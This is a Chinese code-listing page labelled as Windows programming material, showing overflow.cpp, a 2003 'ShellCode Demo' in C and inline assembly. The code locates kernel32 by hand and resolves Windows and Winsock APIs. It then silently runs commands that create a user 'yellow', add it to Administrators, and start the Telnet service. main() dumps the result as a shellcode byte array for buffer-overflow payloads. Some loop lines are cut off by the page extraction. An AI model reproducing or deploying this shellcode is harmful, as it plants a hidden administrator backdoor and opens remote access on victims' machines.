这是一本学习 window编程的很好的参考教材

源代码在线查看: overflow.cpp

软件大小: 5535 K
上传用户: ok34090512
关键词: window 编程 教材
下载地址: 免注册下载 普通下载 VIP

相关代码

				///////////////////////////////////////////////////////////////////////////////////////////////
				#include 
				#include 
				#include 
				//#include 
				//定义API及DLL名称及其存储顺序,良好的编码风格对于以后的开发会提供很大的方便
				#define APISTART 0
				#define GETPROCADDRESS (APISTART+0)
				#define LOADLIBRARY (APISTART+1)
				#define EXITPROCESS (APISTART+2)
				#define WINEXEC (APISTART+3)
				#define KNLSTART (EXITPROCESS)
				#define KNLEND (WINEXEC)
				#define NKNLAPI (4)
				
				#define WSOCKSTART (KNLEND+1)
				#define SOCKET (WSOCKSTART+0)
				#define BIND (WSOCKSTART+1)
				#define CONNECT (WSOCKSTART+2)
				#define ACCEPT (WSOCKSTART+3)
				#define LISTEN (WSOCKSTART+4)
				#define SEND (WSOCKSTART+5)
				#define RECV (WSOCKSTART+6)
				#define CLOSESOCKET (WSOCKSTART+7)
				#define WSASTARTUP (WSOCKSTART+8)
				#define WSACLEANUP (WSOCKSTART+9)
				#define WSOCKEND (WSACLEANUP)
				#define NWSOCKAPI (10)
				//define NETAPI,RPCAPI......
				#define NAPIS  (NKNLAPI+NWSOCKAPI/*+NNETAPI+NRPCAPI+.......*/)
				
				#define DLLSTART 0
				#define KERNELDLL (DLLSTART+0)
				#define WS2_32DLL (DLLSTART+1)
				#define DLLEND  (WS2_32DLL)
				#define NDLLS 2
				
				#define COMMAND_START 0
				#define COMMAND_ADDUSER  (COMMAND_START+0)
				#define COMMAND_SETUSERADMIN (COMMAND_START+1)
				#define COMMAND_OPENTLNT  (COMMAND_START+2)
				#define COMMAND_END  (COMMAND_OPENTLNT)
				#define NCMD 3
				void ShellCodeFun (void)
				{
				DWORD ImageBase,IED,FunNameArray,PE,Count,flen,DLLS[NDLLS];
				int i;
				char *FuncName,*APINAMES[NAPIS],*DLLNAMES[NDLLS],*CMD[NCMD];
				FARPROC API[NAPIS];
				__asm
				{//1,手工获得KERNEL32.DLL基址,并获得LoadLibraryA和GetProcAddress函数地址
				push esi
				push ecx
				mov  esi,fs:0
				lodsd
				GetExeceptionFilter:
				cmp [eax],0xffffffff
				je GetedExeceptionFilter
				mov eax,[eax]
				jmp GetExeceptionFilter
				GetedExeceptionFilter:
				mov eax, [eax+4]
				FindMZ:
				and eax,0xffff0000
				cmp word ptr [eax],'ZM'
				jne MoveUp
				mov ecx,[eax+0x3c]
				add ecx,eax
				cmp word ptr [ecx],'EP'
				je FoundKNL
				MoveUp:
				dec eax
				jmp FindMZ
				FoundKNL:
				pop ecx
				pop esi
				mov DLLS[KERNELDLL* type DWORD],eax
				mov ImageBase,eax
				call LGETPROCADDRESS
				_emit 'G';     
				_emit 'e';     
				_emit 't';     
				_emit 'P';     
				_emit 'r';     
				_emit 'o';     
				_emit 'c';     
				_emit 'A';     
				_emit 'd';     
				_emit 'd';     
				_emit 'r';     
				_emit 'e';     
				_emit 's';     
				_emit 's';     
				_emit 0x00
				LGETPROCADDRESS:
				pop eax
				mov APINAMES[GETPROCADDRESS * 4],eax
				mov FuncName,eax
				mov flen,0x0d
				mov Count,0
				call FindApi
				mov API[GETPROCADDRESS *type FARPROC],eax
				call LOADLIBRARYA
				_emit 'L';      
				_emit 'o';      
				_emit 'a';      
				_emit 'd';      
				_emit 'L';      
				_emit 'i';      
				_emit 'b';      
				_emit 'r';      
				_emit 'a';      
				_emit 'r';      
				_emit 'y';      
				_emit 'A';      
				_emit 0x00
				LOADLIBRARYA:
				pop eax
				mov APINAMES[LOADLIBRARY * 4],eax
				mov FuncName,eax
				mov flen,0x0b
				mov Count,0
				call FindApi
				mov API[LOADLIBRARY * type FARPROC],eax
				}
				__asm
				{
				//2,填写需要的DLL名称,注意这里和上面定义的宏顺序要一样
				call KERNEL32
				_emit 'k';
				_emit 'e';
				_emit 'r';
				_emit 'n';
				_emit 'e';
				_emit 'l';
				_emit '3';
				_emit '2';
				_emit '.'
				_emit 'd'
				_emit 'l'
				_emit 'l'
				_emit 0x00
				KERNEL32:
				pop DLLNAMES[KERNELDLL*4]
				call WS2_32
				_emit 'w';
				_emit 's';
				_emit '2';
				_emit '_';
				_emit '3';
				_emit '2';
				_emit '.'
				_emit 'd'
				_emit 'l'
				_emit 'l'
				_emit 0x00
				WS2_32:
				pop DLLNAMES[WS2_32DLL * 4]
				//3,填写其它需要的API名称,注意这里也要和上面定义和宏顺序一样
				call LEXITPROCESS//1
				_emit 'E';     
				_emit 'x';     
				_emit 'i';     
				_emit 't';     
				_emit 'P';     
				_emit 'r';     
				_emit 'o';     
				_emit 'c';     
				_emit 'e';     
				_emit 's';     
				_emit 's';     
				_emit 0x00
				LEXITPROCESS:
				pop APINAMES[EXITPROCESS * 4]
				call LWINEXEC//2
				_emit 'W';      
				_emit 'i';      
				_emit 'n';      
				_emit 'E';      
				_emit 'x';      
				_emit 'e';      
				_emit 'c';      
				_emit 0x00
				LWINEXEC:
				pop APINAMES[WINEXEC * 4]
				call LSOCKET//3
				_emit 's';     
				_emit 'o';     
				_emit 'c';     
				_emit 'k';     
				_emit 'e';     
				_emit 't';     
				_emit 0x00
				LSOCKET:
				pop APINAMES[SOCKET * 4]
				call LBIND//4
				_emit 'b';      
				_emit 'i';      
				_emit 'n';      
				_emit 'd';      
				_emit 0x00
				LBIND:
				pop APINAMES[BIND * 4]
				call LCONNECT
				_emit 'c';      
				_emit 'o';      
				_emit 'n';      
				_emit 'n';      
				_emit 'e';      
				_emit 'c';      
				_emit 't';      
				_emit 0x00
				LCONNECT:
				pop APINAMES[CONNECT * 4]
				call LACCEPT//5
				_emit 'a';     
				_emit 'c';     
				_emit 'c';     
				_emit 'e';     
				_emit 'p';     
				_emit 't';     
				_emit 0x00
				LACCEPT:
				pop APINAMES
				call LLISTEN//6
				_emit 'l';      
				_emit 'i';      
				_emit 's';      
				_emit 't';      
				_emit 'e';      
				_emit 'n';      
				_emit 0x00
				LLISTEN:
				pop APINAMES[LISTEN * 4]
				call LSEND//7
				_emit 's';     
				_emit 'e';     
				_emit 'n';     
				_emit 'd';     
				_emit 0x00
				LSEND:
				pop APINAMES[SEND * 4]
				call LRECV//8
				_emit 'r';     
				_emit 'e';     
				_emit 'c';     
				_emit 'v';     
				_emit 0x00
				LRECV:
				pop APINAMES[RECV * 4]
				call CLOSESOCKETL//9
				_emit 'c';      
				_emit 'l';      
				_emit 'o';      
				_emit 's';      
				_emit 'e';      
				_emit 's';      
				_emit 'o';      
				_emit 'c';      
				_emit 'k';      
				_emit 'e';      
				_emit 't';      
				_emit 0x00
				CLOSESOCKETL:
				pop APINAMES[CLOSESOCKET * 4]
				call WSASTARTUPL//10
				_emit 'W';     
				_emit 'S';     
				_emit 'A';     
				_emit 'S';     
				_emit 't';     
				_emit 'a';     
				_emit 'r';     
				_emit 't';     
				_emit 'u';     
				_emit 'p';     
				_emit 0x00
				WSASTARTUPL:
				pop APINAMES[WSASTARTUP * 4]
				call WSACLEANUPL//11
				_emit 'W';     
				_emit 'S';     
				_emit 'A';     
				_emit 'C';     
				_emit 'l';     
				_emit 'e';     
				_emit 'a';     
				_emit 'n';     
				_emit 'u';     
				_emit 'p';     
				_emit 0x00
				WSACLEANUPL:
				pop APINAMES[WSACLEANUP * 4]
				//nop;可以在这里设置一个断点查看DLLNAMES和APINAMES是否填入了需要的内容
				
				//填写
				}
				//3,装载所有需要的DLL
				for (i=DLLSTART;i				{
					__asm{
						push DLLNAMES[i]
						call API[LOADLIBRARY]
						mov DLLS[i],eax
					}
				
				}
				//4,获取所有需要的API
				//4.1取得Windows Kernel API
				for (i=KNLSTART;i				{
					__asm{
						push APINAMES[i]
						push DLLS[KERNELDLL]
						call API[GETPROCADDRESS]
						mov API[i],eax
					}
				
				}
				//4.2取得Windows Sockets API
				for (i=WSOCKSTART;i				{
					__asm{
						push APINAMES[i]
						push DLLS[WS2_32DLL]
						call API[GETPROCADDRESS]
						mov API[i],eax
					}
				
				}
				//5,编写ShellCode的功能实体部分
				__asm
				{
				call PUTCOMMAND_ADDUSER
				_emit 'n'
				_emit 'e'
				_emit 't'
				_emit ' '
				_emit 'u'
				_emit 's'
				_emit 'e'
				_emit 'r'
				_emit ' '
				_emit 'y'
				_emit 'e'
				_emit 'l'
				_emit 'l'
				_emit 'o'
				_emit 'w'
				_emit ' '
				_emit 'y'
				_emit 'e'
				_emit 'l'
				_emit 'l'
				_emit 'o'
				_emit 'w'
				_emit ' '
				_emit '/'
				_emit 'a'
				_emit 'd'
				_emit 'd'
				_emit 0x00
				PUTCOMMAND_ADDUSER:
				pop CMD[COMMAND_ADDUSER * 4]
				call PUTCOMMAND_SETUSERADMIN
				_emit 'n'
				_emit 'e'
				_emit 't'
				_emit ' '
				_emit 'l'
				_emit 'o'
				_emit 'c'
				_emit 'a'
				_emit 'l'
				_emit 'g'
				_emit 'r'
				_emit 'o'
				_emit 'u'
				_emit 'p'
				_emit ' '
				_emit 'A'
				_emit 'd'
				_emit 'm'
				_emit 'i'
				_emit 'n'
				_emit 'i'
				_emit 's'
				_emit 't'
				_emit 'r'
				_emit 'a'
				_emit 't'
				_emit 'o'
				_emit 'r'
				_emit 's'
				_emit ' '
				_emit 'y'
				_emit 'e'
				_emit 'l'
				_emit 'l'
				_emit 'o'
				_emit 'w'
				_emit ' '
				_emit '/'
				_emit 'a'
				_emit 'd'
				_emit 'd'
				_emit 0x00
				PUTCOMMAND_SETUSERADMIN:
				pop CMD[COMMAND_SETUSERADMIN*4]
				call PUTCOMMAND_OPENTLNT
				_emit 'n'
				_emit 'e'
				_emit 't'
				_emit ' '
				_emit 's'
				_emit 't'
				_emit 'a'
				_emit 'r'
				_emit 't'
				_emit ' '
				_emit 't'
				_emit 'l'
				_emit 'n'
				_emit 't'
				_emit 's'
				_emit 'v'
				_emit 'r'
				_emit 0x00
				PUTCOMMAND_OPENTLNT:
				pop CMD[COMMAND_OPENTLNT* 4]
				}
				//__asm int 3//在Release版本中使用断点
				//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
				for (i=COMMAND_START;i					_asm{
						push SW_HIDE
						push CMD[i]
						call API[WINEXEC] 
					}
				}
				
				/*
				    我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的
				开发 (比如我们可以使用WinSock自己实现一个Telnet服务端).
				*/
				__asm{
					xor eax,eax
					push eax
					call API[EXITPROCESS] 
					
				}
				//使用ExitProcess来退出ShellCode以减少错误
				
				__asm
				{
				/*
				子程序FindApi,由我前面讲解的GetFunctionByName修改得到
				入口参数:
				   ImageBase:DLL基址
				   FuncName:需要查找的引出函数名
				   flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
				   Count:引出函数地址索引起始,通常应该把它设为0.
				出口参数:
				   如果查找则成功Eax返回有效的函数地址,否则返回0
				*/
				FindApi:
				mov eax,ImageBase
				add eax,0x3c//指向PE头部偏移值e_lfanew
				mov eax,[eax]//取得e_lfanew值
				add eax,ImageBase//指向PE header
				cmp [eax],0x00004550
				jne NotFound//如果ImageBase句柄有错
				mov PE,eax
				mov eax,[eax+0x78]
				add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
				mov [IED],eax
				mov eax,[eax+0x20]
				add eax,ImageBase
				mov FunNameArray,eax//保存函数名称指针数组的指针值
				mov ecx,[IED]
				mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
				FindLoop:
				push ecx//使用一个小技巧,使用程序循环更简单
				mov eax,[eax]
				add eax,ImageBase
				mov esi,FuncName
				mov edi,eax
				mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
				cld
				rep cmpsb
				jne FindNext//如果当前函数不是指定的函数则查找下一个
				add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
				mov eax,[IED]
				mov eax,[eax+0x1c]
				add eax,ImageBase//获得函数地址表
				shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+ (函数索引*4)
				add eax,Count
				mov eax,[eax]//获得函数地址相对偏移量
				add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
				jmp Found
				FindNext:
				inc Count//记录函数索引
				add [FunNameArray],4//下一个函数名指针
				mov eax,FunNameArray
				pop ecx//恢复压入的ecx (NumberOfFunctions),进行计数循环
				loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
				NotFound:
				xor eax,eax//如果没有找到,则返回0
				Found:
				ret
				//ShellCode结束标识符
				_emit '*'
				_emit '*'
				}
				}
				
				void AboutMe (void)
				{
				printf ("\t++++++++++++++++++++++++++++++++++\n");
				printf ("\t+         ShellCode Demo!        +\n");
				printf ("\t+         Code by yellow         +\n");
				printf ("\t+         Date:2003-12-21        +\n");
				printf ("\t+    Email:yellow@safechina.net  +\n");
				printf ("\t+    Home Page:http://www.safechina.net/ +\n");
				printf ("\t++++++++++++++++++++++++++++++++++\n");
				
				}
				
				void printsc (unsigned char *sc)
				{
				int x=0;
				printf ("unsigned char shellcode[]={");
				while (1)
				{
				if  ( (*sc=='*')&& (* (sc+1)=='*')) break;
				if (! (x++%10)) printf ("\n\t");
				printf ("0x%0.2X,",*sc++);
				}
				printf ("\n};\nTotal %d Bytes\r\n",x+1);
				}
				
				int main (void)
				{
				unsigned char *p=(BYTE*)ShellCodeFun;
				unsigned int k=0;
				if (*p==0xe9)
				{
				k=* (unsigned int*) (++p);
				 p=p+k;
				 p=p+4;
				}
				printsc (p);
				AboutMe ();
				getch ();
				}
							

相关资源